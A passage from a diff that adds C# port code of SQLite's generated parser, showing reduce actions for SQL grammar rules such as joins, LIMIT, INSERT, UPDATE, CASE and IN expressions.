0, 0, 0, 0 ); + yygotominor.yy259 = sqlite3SrcListAppendFromTerm( pParse, yymsp[-6].minor.yy259, 0, 0, yymsp[-2].minor.yy0, pSubquery, yymsp[-1].minor.yy314, yymsp[0].minor.yy384 ); + } + } + //#line 2644 "parse.c" + break; + case 137: /* dbnm ::= */ + case 146: /* indexed_opt ::= */ //yytestcase(yyruleno==146); + //#line 530 "parse.y" + { + yygotominor.yy0.z = null; + yygotominor.yy0.n = 0; + } + //#line 2650 "parse.c" + break; + case 139: /* fullname ::= nm dbnm */ + //#line 535 "parse.y" + { + yygotominor.yy259 = sqlite3SrcListAppend( pParse.db, 0, yymsp[-1].minor.yy0, yymsp[0].minor.yy0 ); + } + //#line 2655 "parse.c" + break; + case 140: /* joinop ::= COMMA|JOIN */ + //#line 539 "parse.y" + { + yygotominor.yy4 = JT_INNER; + } + //#line 2660 "parse.c" + break; + case 141: /* joinop ::= JOIN_KW JOIN */ + //#line 540 "parse.y" + { + yygotominor.yy4 = sqlite3JoinType( pParse, yymsp[-1].minor.yy0, 0, 0 ); + } + //#line 2665 "parse.c" + break; + case 142: /* joinop ::= JOIN_KW nm JOIN */ + //#line 541 "parse.y" + { + yygotominor.yy4 = sqlite3JoinType( pParse, yymsp[-2].minor.yy0, yymsp[-1].minor.yy0, 0 ); + } + //#line 2670 "parse.c" + break; + case 143: /* joinop ::= JOIN_KW nm nm JOIN */ + //#line 543 "parse.y" + { + yygotominor.yy4 = sqlite3JoinType( pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[-1].minor.yy0 ); + } + //#line 2675 "parse.c" + break; + case 144: /* on_opt ::= ON expr */ + case 155: /* sortitem ::= expr */ //yytestcase(yyruleno==155); + case 162: /* having_opt ::= HAVING expr */ //yytestcase(yyruleno==162); + case 169: /* where_opt ::= WHERE expr */ //yytestcase(yyruleno==169); + case 235: /* case_else ::= ELSE expr */ //yytestcase(yyruleno==235); + case 237: /* case_operand ::= expr */ //yytestcase(yyruleno==237); + //#line 547 "parse.y" + { + yygotominor.yy314 = yymsp[0].minor.yy118.pExpr; + } + //#line 2685 "parse.c" + break; + case 145: /* on_opt ::= */ + case 161: /* having_opt ::= */ //yytestcase(yyruleno==161); + case 168: /* where_opt ::= */ //yytestcase(yyruleno==168); + case 236: /* case_else ::= */ //yytestcase(yyruleno==236); + case 238: /* case_operand ::= */ //yytestcase(yyruleno==238); + //#line 548 "parse.y" + { + yygotominor.yy314 = null; + } + //#line 2694 "parse.c" + break; + case 148: /* indexed_opt ::= NOT INDEXED */ + //#line 563 "parse.y" + { + yygotominor.yy0.z = null; + yygotominor.yy0.n = 1; + } + //#line 2699 "parse.c" + break; + case 149: /* using_opt ::= USING LP inscollist RP */ + case 181: /* inscollist_opt ::= LP inscollist RP */ //yytestcase(yyruleno==181); + //#line 567 "parse.y" + { + yygotominor.yy384 = yymsp[-1].minor.yy384; + } + //#line 2705 "parse.c" + break; + case 150: /* using_opt ::= */ + case 180: /* inscollist_opt ::= */ //yytestcase(yyruleno==180); + //#line 568 "parse.y" + { + yygotominor.yy384 = null; + } + //#line 2711 "parse.c" + break; + case 152: /* orderby_opt ::= ORDER BY sortlist */ + case 160: /* groupby_opt ::= GROUP BY nexprlist */ //yytestcase(yyruleno==160); + case 239: /* exprlist ::= nexprlist */ //yytestcase(yyruleno==239); + //#line 579 "parse.y" + { + yygotominor.yy322 = yymsp[0].minor.yy322; + } + //#line 2718 "parse.c" + break; + case 153: /* sortlist ::= sortlist COMMA sortitem sortorder */ + //#line 580 "parse.y" + { + yygotominor.yy322 = sqlite3ExprListAppend( pParse, yymsp[-3].minor.yy322, yymsp[-1].minor.yy314 ); + if ( yygotominor.yy322 != null ) + yygotominor.yy322.a[yygotominor.yy322.nExpr - 1].sortOrder = (u8)yymsp[0].minor.yy4; + } + //#line 2726 "parse.c" + break; + case 154: /* sortlist ::= sortitem sortorder */ + //#line 584 "parse.y" + { + yygotominor.yy322 = sqlite3ExprListAppend( pParse, 0, yymsp[-1].minor.yy314 ); + if ( yygotominor.yy322 != null && ALWAYS( yygotominor.yy322.a != null ) ) + yygotominor.yy322.a[0].sortOrder = (u8)yymsp[0].minor.yy4; + } + //#line 2734 "parse.c" + break; + case 156: /* sortorder ::= ASC */ + case 158: /* sortorder ::= */ //yytestcase(yyruleno==158); + //#line 592 "parse.y" + { + yygotominor.yy4 = SQLITE_SO_ASC; + } + //#line 2740 "parse.c" + break; + case 157: /* sortorder ::= DESC */ + //#line 593 "parse.y" + { + yygotominor.yy4 = SQLITE_SO_DESC; + } + //#line 2745 "parse.c" + break; + case 163: /* limit_opt ::= */ + //#line 619 "parse.y" + { + yygotominor.yy292.pLimit = null; + yygotominor.yy292.pOffset = null; + } + //#line 2750 "parse.c" + break; + case 164: /* limit_opt ::= LIMIT expr */ + //#line 620 "parse.y" + { + yygotominor.yy292.pLimit = yymsp[0].minor.yy118.pExpr; + yygotominor.yy292.pOffset = null; + } + //#line 2755 "parse.c" + break; + case 165: /* limit_opt ::= LIMIT expr OFFSET expr */ + //#line 622 "parse.y" + { + yygotominor.yy292.pLimit = yymsp[-2].minor.yy118.pExpr; + yygotominor.yy292.pOffset = yymsp[0].minor.yy118.pExpr; + } + //#line 2760 "parse.c" + break; + case 166: /* limit_opt ::= LIMIT expr COMMA expr */ + //#line 624 "parse.y" + { + yygotominor.yy292.pOffset = yymsp[-2].minor.yy118.pExpr; + yygotominor.yy292.pLimit = yymsp[0].minor.yy118.pExpr; + } + //#line 2765 "parse.c" + break; + case 167: /* cmd ::= DELETE FROM fullname indexed_opt where_opt */ + //#line 637 "parse.y" + { + sqlite3SrcListIndexedBy( pParse, yymsp[-2].minor.yy259, yymsp[-1].minor.yy0 ); + sqlite3DeleteFrom( pParse, yymsp[-2].minor.yy259, yymsp[0].minor.yy314 ); + } + //#line 2773 "parse.c" + break; + case 170: /* cmd ::= UPDATE orconf fullname indexed_opt SET setlist where_opt */ + //#line 660 "parse.y" + { + sqlite3SrcListIndexedBy( pParse, yymsp[-4].minor.yy259, yymsp[-3].minor.yy0 ); + sqlite3ExprListCheckLength( pParse, yymsp[-1].minor.yy322, "set list" ); + sqlite3Update( pParse, yymsp[-4].minor.yy259, yymsp[-1].minor.yy322, yymsp[0].minor.yy314, yymsp[-5].minor.yy210 ); + } + //#line 2782 "parse.c" + break; + case 171: /* setlist ::= setlist COMMA nm EQ expr */ + //#line 670 "parse.y" + { + yygotominor.yy322 = sqlite3ExprListAppend( pParse, yymsp[-4].minor.yy322, yymsp[0].minor.yy118.pExpr ); + sqlite3ExprListSetName( pParse, yygotominor.yy322, yymsp[-2].minor.yy0, 1 ); + } + //#line 2790 "parse.c" + break; + case 172: /* setlist ::= nm EQ expr */ + //#line 674 "parse.y" + { + yygotominor.yy322 = sqlite3ExprListAppend( pParse, 0, yymsp[0].minor.yy118.pExpr ); + sqlite3ExprListSetName( pParse, yygotominor.yy322, yymsp[-2].minor.yy0, 1 ); + } + //#line 2798 "parse.c" + break; + case 173: /* cmd ::= insert_cmd INTO fullname inscollist_opt VALUES LP itemlist RP */ + //#line 683 "parse.y" + { + sqlite3Insert( pParse, yymsp[-5].minor.yy259, yymsp[-1].minor.yy322, 0, yymsp[-4].minor.yy384, yymsp[-7].minor.yy210 ); + } + //#line 2803 "parse.c" + break; + case 174: /* cmd ::= insert_cmd INTO fullname inscollist_opt select */ + //#line 685 "parse.y" + { + sqlite3Insert( pParse, yymsp[-2].minor.yy259, 0, yymsp[0].minor.yy387, yymsp[-1].minor.yy384, yymsp[-4].minor.yy210 ); + } + //#line 2808 "parse.c" + break; + case 175: /* cmd ::= insert_cmd INTO fullname inscollist_opt DEFAULT VALUES */ + //#line 687 "parse.y" + { + sqlite3Insert( pParse, yymsp[-3].minor.yy259, 0, 0, yymsp[-2].minor.yy384, yymsp[-5].minor.yy210 ); + } + //#line 2813 "parse.c" + break; + case 176: /* insert_cmd ::= INSERT orconf */ + //#line 690 "parse.y" + { + yygotominor.yy210 = yymsp[0].minor.yy210; + } + //#line 2818 "parse.c" + break; + case 177: /* insert_cmd ::= REPLACE */ + //#line 691 "parse.y" + { + yygotominor.yy210 = OE_Replace; + } + //#line 2823 "parse.c" + break; + case 178: /* itemlist ::= itemlist COMMA expr */ + case 241: /* nexprlist ::= nexprlist COMMA expr */ //yytestcase(yyruleno==241); + //#line 698 "parse.y" + { + yygotominor.yy322 = sqlite3ExprListAppend( pParse, yymsp[-2].minor.yy322, yymsp[0].minor.yy118.pExpr ); + } + //#line 2829 "parse.c" + break; + case 179: /* itemlist ::= expr */ + case 242: /* nexprlist ::= expr */ //yytestcase(yyruleno==242); + //#line 700 "parse.y" + { + yygotominor.yy322 = sqlite3ExprListAppend( pParse, 0, yymsp[0].minor.yy118.pExpr ); + } + //#line 2835 "parse.c" + break; + case 182: /* inscollist ::= inscollist COMMA nm */ + //#line 710 "parse.y" + { + yygotominor.yy384 = sqlite3IdListAppend( pParse.db, yymsp[-2].minor.yy384, yymsp[0].minor.yy0 ); + } + //#line 2840 "parse.c" + break; + case 183: /* inscollist ::= nm */ + //#line 712 "parse.y" + { + yygotominor.yy384 = sqlite3IdListAppend( pParse.db, 0, yymsp[0].minor.yy0 ); + } + //#line 2845 "parse.c" + break; + case 184: /* expr ::= term */ + //#line 743 "parse.y" + { + yygotominor.yy118 = yymsp[0].minor.yy118; + } + //#line 2850 "parse.c" + break; + case 185: /* expr ::= LP expr RP */ + //#line 744 "parse.y" + { + yygotominor.yy118.pExpr = yymsp[-1].minor.yy118.pExpr; + spanSet( yygotominor.yy118, yymsp[-2].minor.yy0, yymsp[0].minor.yy0 ); + } + //#line 2855 "parse.c" + break; + case 186: /* term ::= NULL */ + case 191: /* term ::= INTEGER|FLOAT|BLOB */ //yytestcase(yyruleno==191); + case 192: /* term ::= STRING */ //yytestcase(yyruleno==192); + //#line 745 "parse.y" + { + spanExpr( yygotominor.yy118, pParse, yymsp[0].major, yymsp[0].minor.yy0 ); + } + //#line 2862 "parse.c" + break; + case 187: /* expr ::= id */ + case 188: /* expr ::= JOIN_KW */ //yytestcase(yyruleno==188); + //#line 746 "parse.y" + { + spanExpr( yygotominor.yy118, pParse, TK_ID, yymsp[0].minor.yy0 ); + } + //#line 2868 "parse.c" + break; + case 189: /* expr ::= nm DOT nm */ + //#line 748 "parse.y" + { + Expr temp1 = sqlite3PExpr( pParse, TK_ID, 0, 0, yymsp[-2].minor.yy0 ); + Expr temp2 = sqlite3PExpr( pParse, TK_ID, 0, 0, yymsp[0].minor.yy0 ); + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_DOT, temp1, temp2, 0 ); + spanSet( yygotominor.yy118, yymsp[-2].minor.yy0, yymsp[0].minor.yy0 ); + } + //#line 2878 "parse.c" + break; + case 190: /* expr ::= nm DOT nm DOT nm */ + //#line 754 "parse.y" + { + Expr temp1 = sqlite3PExpr( pParse, TK_ID, 0, 0, yymsp[-4].minor.yy0 ); + Expr temp2 = sqlite3PExpr( pParse, TK_ID, 0, 0, yymsp[-2].minor.yy0 ); + Expr temp3 = sqlite3PExpr( pParse, TK_ID, 0, 0, yymsp[0].minor.yy0 ); + Expr temp4 = sqlite3PExpr( pParse, TK_DOT, temp2, temp3, 0 ); + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_DOT, temp1, temp4, 0 ); + spanSet( yygotominor.yy118, yymsp[-4].minor.yy0, yymsp[0].minor.yy0 ); + } + //#line 2890 "parse.c" + break; + case 193: /* expr ::= REGISTER */ + //#line 764 "parse.y" + { + /* When doing a nested parse, one can include terms in an expression + ** that look like this: #1 #2 ... These terms refer to registers + ** in the virtual machine. #N is the N-th register. */ + if ( pParse.nested == 0 ) + { + sqlite3ErrorMsg( pParse, "near \"%T\": syntax error", yymsp[0].minor.yy0 ); + yygotominor.yy118.pExpr = null; + } + else + { + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_REGISTER, 0, 0, yymsp[0].minor.yy0 ); + if ( yygotominor.yy118.pExpr != null ) + sqlite3GetInt32( yymsp[0].minor.yy0.z, 1, ref yygotominor.yy118.pExpr.iTable ); + } + spanSet( yygotominor.yy118, yymsp[0].minor.yy0, yymsp[0].minor.yy0 ); + } + //#line 2907 "parse.c" + break; + case 194: /* expr ::= VARIABLE */ + //#line 777 "parse.y" + { + spanExpr( yygotominor.yy118, pParse, TK_VARIABLE, yymsp[0].minor.yy0 ); + sqlite3ExprAssignVarNumber( pParse, yygotominor.yy118.pExpr ); + spanSet( yygotominor.yy118, yymsp[0].minor.yy0, yymsp[0].minor.yy0 ); + } + //#line 2916 "parse.c" + break; + case 195: /* expr ::= expr COLLATE ids */ + //#line 782 "parse.y" + { + yygotominor.yy118.pExpr = sqlite3ExprSetCollByToken( pParse, yymsp[-2].minor.yy118.pExpr, yymsp[0].minor.yy0 ); + yygotominor.yy118.zStart = yymsp[-2].minor.yy118.zStart; + yygotominor.yy118.zEnd = yymsp[0].minor.yy0.z.Substring( yymsp[0].minor.yy0.n );//z[yymsp[0].minor.yy0.n]; + } + //#line 2925 "parse.c" + break; + case 196: /* expr ::= CAST LP expr AS typetoken RP */ + //#line 788 "parse.y" + { + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_CAST, yymsp[-3].minor.yy118.pExpr, 0, yymsp[-1].minor.yy0 ); + spanSet( yygotominor.yy118, yymsp[-5].minor.yy0, yymsp[0].minor.yy0 ); + } + //#line 2933 "parse.c" + break; + case 197: /* expr ::= ID LP distinct exprlist RP */ + //#line 793 "parse.y" + { + if ( yymsp[-1].minor.yy322 != null && yymsp[-1].minor.yy322.nExpr > pParse.db.aLimit[SQLITE_LIMIT_FUNCTION_ARG] ) + { + sqlite3ErrorMsg( pParse, "too many arguments on function %T", yymsp[-4].minor.yy0 ); + } + yygotominor.yy118.pExpr = sqlite3ExprFunction( pParse, yymsp[-1].minor.yy322, yymsp[-4].minor.yy0 ); + spanSet( yygotominor.yy118, yymsp[-4].minor.yy0, yymsp[0].minor.yy0 ); + if ( yymsp[-2].minor.yy4 != 0 && yygotominor.yy118.pExpr != null ) + { + yygotominor.yy118.pExpr.flags |= EP_Distinct; + } + } + //#line 2947 "parse.c" + break; + case 198: /* expr ::= ID LP STAR RP */ + //#line 803 "parse.y" + { + yygotominor.yy118.pExpr = sqlite3ExprFunction( pParse, 0, yymsp[-3].minor.yy0 ); + spanSet( yygotominor.yy118, yymsp[-3].minor.yy0, yymsp[0].minor.yy0 ); + } + //#line 2955 "parse.c" + break; + case 199: /* term ::= CTIME_KW */ + //#line 807 "parse.y" + { + /* The CURRENT_TIME, CURRENT_DATE, and CURRENT_TIMESTAMP values are + ** treated as functions that return constants */ + yygotominor.yy118.pExpr = sqlite3ExprFunction( pParse, 0, yymsp[0].minor.yy0 ); + if ( yygotominor.yy118.pExpr != null ) + { + yygotominor.yy118.pExpr.op = TK_CONST_FUNC; + } + spanSet( yygotominor.yy118, yymsp[0].minor.yy0, yymsp[0].minor.yy0 ); + } + //#line 2968 "parse.c" + break; + case 200: /* expr ::= expr AND expr */ + case 201: /* expr ::= expr OR expr */ //yytestcase(yyruleno==201); + case 202: /* expr ::= expr LT|GT|GE|LE expr */ //yytestcase(yyruleno==202); + case 203: /* expr ::= expr EQ|NE expr */ //yytestcase(yyruleno==203); + case 204: /* expr ::= expr BITAND|BITOR|LSHIFT|RSHIFT expr */ //yytestcase(yyruleno==204); + case 205: /* expr ::= expr PLUS|MINUS expr */ //yytestcase(yyruleno==205); + case 206: /* expr ::= expr STAR|SLASH|REM expr */ //yytestcase(yyruleno==206); + case 207: /* expr ::= expr CONCAT expr */ //yytestcase(yyruleno==207); + //#line 834 "parse.y" + { + spanBinaryExpr( yygotominor.yy118, pParse, yymsp[-1].major, yymsp[-2].minor.yy118, yymsp[0].minor.yy118 ); + } + //#line 2980 "parse.c" + break; + case 208: /* likeop ::= LIKE_KW */ + case 210: /* likeop ::= MATCH */ //yytestcase(yyruleno==210); + //#line 847 "parse.y" + { + yygotominor.yy342.eOperator = yymsp[0].minor.yy0; + yygotominor.yy342.not = false; + } + //#line 2986 "parse.c" + break; + case 209: /* likeop ::= NOT LIKE_KW */ + case 211: /* likeop ::= NOT MATCH */ //yytestcase(yyruleno==211); + //#line 848 "parse.y" + { + yygotominor.yy342.eOperator = yymsp[0].minor.yy0; + yygotominor.yy342.not = true; + } + //#line 2992 "parse.c" + break; + case 212: /* expr ::= expr likeop expr */ + //#line 851 "parse.y" + { + ExprList pList; + pList = sqlite3ExprListAppend( pParse, 0, yymsp[0].minor.yy118.pExpr ); + pList = sqlite3ExprListAppend( pParse, pList, yymsp[-2].minor.yy118.pExpr ); + yygotominor.yy118.pExpr = sqlite3ExprFunction( pParse, pList, yymsp[-1].minor.yy342.eOperator ); + if ( yymsp[-1].minor.yy342.not ) + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_NOT, yygotominor.yy118.pExpr, 0, 0 ); + yygotominor.yy118.zStart = yymsp[-2].minor.yy118.zStart; + yygotominor.yy118.zEnd = yymsp[0].minor.yy118.zEnd; + if ( yygotominor.yy118.pExpr != null ) + yygotominor.yy118.pExpr.flags |= EP_InfixFunc; + } + //#line 3006 "parse.c" + break; + case 213: /* expr ::= expr likeop expr ESCAPE expr */ + //#line 861 "parse.y" + { + ExprList pList; + pList = sqlite3ExprListAppend( pParse, 0, yymsp[-2].minor.yy118.pExpr ); + pList = sqlite3ExprListAppend( pParse, pList, yymsp[-4].minor.yy118.pExpr ); + pList = sqlite3ExprListAppend( pParse, pList, yymsp[0].minor.yy118.pExpr ); + yygotominor.yy118.pExpr = sqlite3ExprFunction( pParse, pList, yymsp[-3].minor.yy342.eOperator ); + if ( yymsp[-3].minor.yy342.not ) + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_NOT, yygotominor.yy118.pExpr, 0, 0 ); + yygotominor.yy118.zStart = yymsp[-4].minor.yy118.zStart; + yygotominor.yy118.zEnd = yymsp[0].minor.yy118.zEnd; + if ( yygotominor.yy118.pExpr != null ) + yygotominor.yy118.pExpr.flags |= EP_InfixFunc; + } + //#line 3021 "parse.c" + break; + case 214: /* expr ::= expr ISNULL|NOTNULL */ + //#line 889 "parse.y" + { + spanUnaryPostfix( yygotominor.yy118, pParse, yymsp[0].major, yymsp[-1].minor.yy118, yymsp[0].minor.yy0 ); + } + //#line 3026 "parse.c" + break; + case 215: /* expr ::= expr NOT NULL */ + //#line 890 "parse.y" + { + spanUnaryPostfix( yygotominor.yy118, pParse, TK_NOTNULL, yymsp[-2].minor.yy118, yymsp[0].minor.yy0 ); + } + //#line 3031 "parse.c" + break; + case 216: /* expr ::= expr IS expr */ + //#line 911 "parse.y" + { + spanBinaryExpr( yygotominor.yy118, pParse, TK_IS, yymsp[-2].minor.yy118, yymsp[0].minor.yy118 ); + binaryToUnaryIfNull( pParse, yymsp[0].minor.yy118.pExpr, yygotominor.yy118.pExpr, TK_ISNULL ); + } + //#line 3039 "parse.c" + break; + case 217: /* expr ::= expr IS NOT expr */ + //#line 915 "parse.y" + { + spanBinaryExpr( yygotominor.yy118, pParse, TK_ISNOT, yymsp[-3].minor.yy118, yymsp[0].minor.yy118 ); + binaryToUnaryIfNull( pParse, yymsp[0].minor.yy118.pExpr, yygotominor.yy118.pExpr, TK_NOTNULL ); + } + //#line 3047 "parse.c" + break; + case 218: /* expr ::= NOT expr */ + case 219: /* expr ::= BITNOT expr */ //yytestcase(yyruleno==219); + //#line 938 "parse.y" + { + spanUnaryPrefix( yygotominor.yy118, pParse, yymsp[-1].major, yymsp[0].minor.yy118, yymsp[-1].minor.yy0 ); + } + //#line 3053 "parse.c" + break; + case 220: /* expr ::= MINUS expr */ + //#line 941 "parse.y" + { + spanUnaryPrefix( yygotominor.yy118, pParse, TK_UMINUS, yymsp[0].minor.yy118, yymsp[-1].minor.yy0 ); + } + //#line 3058 "parse.c" + break; + case 221: /* expr ::= PLUS expr */ + //#line 943 "parse.y" + { + spanUnaryPrefix( yygotominor.yy118, pParse, TK_UPLUS, yymsp[0].minor.yy118, yymsp[-1].minor.yy0 ); + } + //#line 3063 "parse.c" + break; + case 224: /* expr ::= expr between_op expr AND expr */ + //#line 948 "parse.y" + { + ExprList pList = sqlite3ExprListAppend( pParse, 0, yymsp[-2].minor.yy118.pExpr ); + pList = sqlite3ExprListAppend( pParse, pList, yymsp[0].minor.yy118.pExpr ); + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_BETWEEN, yymsp[-4].minor.yy118.pExpr, 0, 0 ); + if ( yygotominor.yy118.pExpr != null ) + { + yygotominor.yy118.pExpr.x.pList = pList; + } + else + { + sqlite3ExprListDelete( pParse.db, ref pList ); + } + if ( yymsp[-3].minor.yy4 != 0 ) + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_NOT, yygotominor.yy118.pExpr, 0, 0 ); + yygotominor.yy118.zStart = yymsp[-4].minor.yy118.zStart; + yygotominor.yy118.zEnd = yymsp[0].minor.yy118.zEnd; + } + //#line 3080 "parse.c" + break; + case 227: /* expr ::= expr in_op LP exprlist RP */ + //#line 965 "parse.y" + { + if ( yymsp[-1].minor.yy322 == null ) + { + /* Expressions of the form + ** + ** expr1 IN () + ** expr1 NOT IN () + ** + ** simplify to constants 0 (false) and 1 (true), respectively, + ** regardless of the value of expr1. + */ + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_INTEGER, 0, 0, sqlite3IntTokens[yymsp[-3].minor.yy4] ); + sqlite3ExprDelete( pParse.db, ref yymsp[-4].minor.yy118.pExpr ); + } + else + { + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_IN, yymsp[-4].minor.yy118.pExpr, 0, 0 ); + if ( yygotominor.yy118.pExpr != null ) + { + yygotominor.yy118.pExpr.x.pList = yymsp[-1].minor.yy322; + sqlite3ExprSetHeight( pParse, yygotominor.yy118.pExpr ); + } + else + { + sqlite3ExprListDelete( pParse.db, ref yymsp[-1].minor.yy322 ); + } + if ( yymsp[-3].minor.yy4 != 0 ) + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_NOT, yygotominor.yy118.pExpr, 0, 0 ); + } + yygotominor.yy118.zStart = yymsp[-4].minor.yy118.zStart; + yygotominor.yy118.zEnd = yymsp[0].minor.yy0.z.Substring( yymsp[0].minor.yy0.n );//[yymsp[0].minor.yy0.n]; + } + //#line 3109 "parse.c" + break; + case 228: /* expr ::= LP select RP */ + //#line 990 "parse.y" + { + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_SELECT, 0, 0, 0 ); + if ( yygotominor.yy118.pExpr != null ) + { + yygotominor.yy118.pExpr.x.pSelect = yymsp[-1].minor.yy387; + ExprSetProperty( yygotominor.yy118.pExpr, EP_xIsSelect ); + sqlite3ExprSetHeight( pParse, yygotominor.yy118.pExpr ); + } + else + { + sqlite3SelectDelete( pParse.db, ref yymsp[-1].minor.yy387 ); + } + yygotominor.yy118.zStart = yymsp[-2].minor.yy0.z; + yygotominor.yy118.zEnd = yymsp[0].minor.yy0.z.Substring( yymsp[0].minor.yy0.n );//z[yymsp[0].minor.yy0.n]; + } + //#line 3125 "parse.c" + break; + case 229: /* expr ::= expr in_op LP select RP */ + //#line 1002 "parse.y" + { + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_IN, yymsp[-4].minor.yy118.pExpr, 0, 0 ); + if ( yygotominor.yy118.pExpr != null ) + { + yygotominor.yy118.pExpr.x.pSelect = yymsp[-1].minor.yy387; + ExprSetProperty( yygotominor.yy118.pExpr, EP_xIsSelect ); + sqlite3ExprSetHeight( pParse, yygotominor.yy118.pExpr ); + } + else + { + sqlite3SelectDelete( pParse.db, ref yymsp[-1].minor.yy387 ); + } + if ( yymsp[-3].minor.yy4 != 0 ) + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_NOT, yygotominor.yy118.pExpr, 0, 0 ); + yygotominor.yy118.zStart = yymsp[-4].minor.yy118.zStart; + yygotominor.yy118.zEnd = yymsp[0].minor.yy0.z.Substring( yymsp[0].minor.yy0.n );//z[yymsp[0].minor.yy0.n]; + } + //#line 3142 "parse.c" + break; + case 230: /* expr ::= expr in_op nm dbnm */ + //#line 1015 "parse.y" + { + SrcList pSrc = sqlite3SrcListAppend( pParse.db, 0, yymsp[-1].minor.yy0, yymsp[0].minor.yy0 ); + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_IN, yymsp[-3].minor.yy118.pExpr, 0, 0 ); + if ( yygotominor.yy118.pExpr != null ) + { + yygotominor.yy118.pExpr.x.pSelect = sqlite3SelectNew( pParse, 0, pSrc, 0, 0, 0, 0, 0, 0, 0 ); + ExprSetProperty( yygotominor.yy118.pExpr, EP_xIsSelect ); + sqlite3ExprSetHeight( pParse, yygotominor.yy118.pExpr ); + } + else + { + sqlite3SrcListDelete( pParse.db, ref pSrc ); + } + if ( yymsp[-2].minor.yy4 != 0 ) + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_NOT, yygotominor.yy118.pExpr, 0, 0 ); + yygotominor.yy118.zStart = yymsp[-3].minor.yy118.zStart; + yygotominor.yy118.zEnd = yymsp[0].minor.yy0.z != null ? yymsp[0].minor.yy0.z.Substring( yymsp[0].minor.yy0.n ) : yymsp[-1].minor.yy0.z.Substring( yymsp[-1].minor.yy0.n ); + } + //#line 3160 "parse.c" + break; + case 231: /* expr ::= EXISTS LP select RP */ + //#line 1029 "parse.y" + { + Expr p = yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_EXISTS, 0, 0, 0 ); + if ( p != null ) + { + p.x.pSelect = yymsp[-1].minor.yy387; + ExprSetProperty( p, EP_xIsSelect ); + sqlite3ExprSetHeight( pParse, p ); + } + else + { + sqlite3SelectDelete( pParse.db, ref yymsp[-1].minor.yy387 ); + } + yygotominor.yy118.zStart = yymsp[-3].minor.yy0.z; + yygotominor.yy118.zEnd = yymsp[0].minor.yy0.z.Substring( yymsp[0].minor.yy0.n ); //z[yymsp[0].minor.yy0.n]; + } + //#line 3176 "parse.c" + break; + case 232: /* expr ::= CASE case_operand case_exprlist case_else END */ + //#line 1044 "parse.y" + { + yygotominor.yy118.pExpr = sqlite3PExpr( pParse, TK_CASE, yymsp[-3].minor.yy314, yymsp[-1].minor.yy314, 0 ); + if ( yygotominor.yy118.pExpr != null ) + { + yygotominor.yy118.pExpr.x.pList = yymsp[-2].minor.yy322; + sqlite3ExprSetHeight( pParse, yygotominor.yy118.pExpr ); + } + else + { + sqlite3ExprListDelete( pParse.db, ref yymsp[-2].minor.yy322 ); + } + yygotominor.yy118.zStart = yymsp[-4].minor.yy0.z; + yygotominor.yy118.zEnd = yymsp[0].minor.yy0.z.Substring( yymsp[0].minor.yy0.n );//z[yymsp[0].minor.yy0.n]; + } + //#line 3191 "parse.c" + break; + case 233: /* case_exprlist ::= case_exprlist WHEN expr THEN expr */ + //#line 1057 "parse.y" + { + yygotominor.yy322 = sqlite3ExprListAppend( pParse, yymsp[-4].minor.yy322, yymsp[-2].minor.yy118.pExpr ); + yygotominor.yy322 = sqlite3ExprListAppend( pParse, yygotominor.yy322, yymsp[0].minor.yy118.pExpr ); + } + //#line 3199 "parse.c" + break; + case 234: /* case_exprlist ::= WHEN expr THEN expr */ + //#line 1061 "parse.y" + { + yygotominor.yy322 = sqlite3ExprListAppend( pParse, 0, yymsp[-2].minor.yy118.pExpr ); + yygotominor.yy322 = sqlite3ExprListAppend( pParse, yygotominor.yy322, yymsp[0].minor.yy118.pExpr ); + } + //#line 3207 "parse.c" + break; + case 243: /* cmd ::= createkw uniqueflag INDEX ifnotexists nm dbnm ON nm LP idxlist RP */ + //#line 1090 "parse.y" + { + sqlite3CreateIndex( pParse, yymsp[-6].minor.yy0, yymsp[-5].minor.yy0, + sqlite3SrcListAppend( pParse.db, 0, yymsp[-3].minor.yy0, 0 ), yymsp[-1].minor.yy322, yymsp[-9].minor.yy4, + yymsp[-10].minor.yy0, yymsp[0].minor.yy0, SQLITE_SO_ASC, yymsp[-7].minor.yy4 ); + } + //#line 3216 "parse.c" + break; + case 244: /* uniqueflag ::= UNIQUE */ + case 298: /* raisetype ::= ABORT */ //yytestcase(yyruleno==298); + //#line 1097 "parse.y" + { + yygotominor.yy4 = OE_Abort; + } + //#line 3222 "parse.c" + break; + case 245: /* uniqueflag ::= */ + //#line 1098 "parse.y" + { + yygotominor.yy4 = OE_None; + } + //#line 3227 "parse.c" + break; + case 248: /* idxlist ::= idxlist COMMA nm collate sortorder */ + //#line 1107 "parse.y" + { + Expr p = null; + if ( yymsp[-1].minor.yy0.n > 0 ) + { + p = sqlite3Expr( pParse.db, TK_COLUMN, null ); + sqlite3ExprSetCollByToken( pParse, p, yymsp[-1].minor.yy0 ); + } + yygotominor.yy322 = sqlite3ExprListAppend( pParse, yymsp[-4].minor.yy322, p ); + sqlite3ExprListSetName( pParse, yygotominor.yy322, yymsp[-2].minor.yy0, 1 ); + sqlite3ExprListCheckLength( pParse, yygotominor.yy322, "index" ); + if ( yygotominor.yy322 != null ) + yygotominor.yy322.a[yygotominor.yy322.nExpr - 1].sortOrder = (u8)yymsp[0].minor.yy4; + } + //#line 3242 "parse.c" + break; + case 249: /* idxlist ::= nm collate sortorder */ + //#line 1118 "parse.y" + { + Expr p = null; + if ( yymsp[-1].minor.yy0.n > 0 ) + { + p = sqlite3PExpr( pParse, TK_COLUMN, 0, 0, 0 ); + sqlite3ExprSetCollByToken( pParse, p, yymsp[-1].minor.yy0 ); + } + yygotominor.yy322 = sqlite3ExprListAppend( pParse, 0, p ); + sqlite3ExprListSetName( pParse, yygotominor.yy322, yymsp[-2].minor.yy0, 1 ); + sqlite3ExprListCheckLength( pParse, 